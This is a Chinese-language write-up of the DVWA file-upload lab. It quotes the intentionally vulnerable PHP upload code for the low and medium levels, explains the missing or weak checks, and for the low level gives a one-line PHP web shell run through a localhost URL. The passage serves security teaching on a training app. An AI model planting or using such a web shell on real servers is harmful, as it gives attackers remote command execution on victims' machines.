dvwa(6)——File upload

1. File Upload

File Upload，即文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

2. 漏洞利用

2.1 low

源代码

File Upload Source
vulnerabilities/upload/source/low.php
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

basename(path,suffix)

函数返回路径中的文件名部分，如果可选参数suffix为空，则返回的文件名包含后缀名，反之不包含后缀名。

可以看到，服务器对上传文件的类型、内容没有做任何的检查、过滤，存在明显的文件上传漏洞，生成上传路径后，服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的，首先当然是要能够成功上传木马文件，其次上传文件必须能够被执行，最后就是上传文件的路径必须可知。

尝试攻击
上传文件：cmd.php
文件内容：<?php echo shell_exec($_GET['cmd']);?>

构造url:http://127.0.0.1/dvwa/hackable/uploads/cmd.php， 报错，说明脚本被执行。

我们尝试添加cmd命令：
http://127.0.0.1/dvwa/hackable/uploads/cmd.php?cmd=dir

2.2

源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

可以看到，Medium级别的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过100000B（约为97.6KB）。

参考：https://blog.csdn.net/qq_36119192/article/details/82904642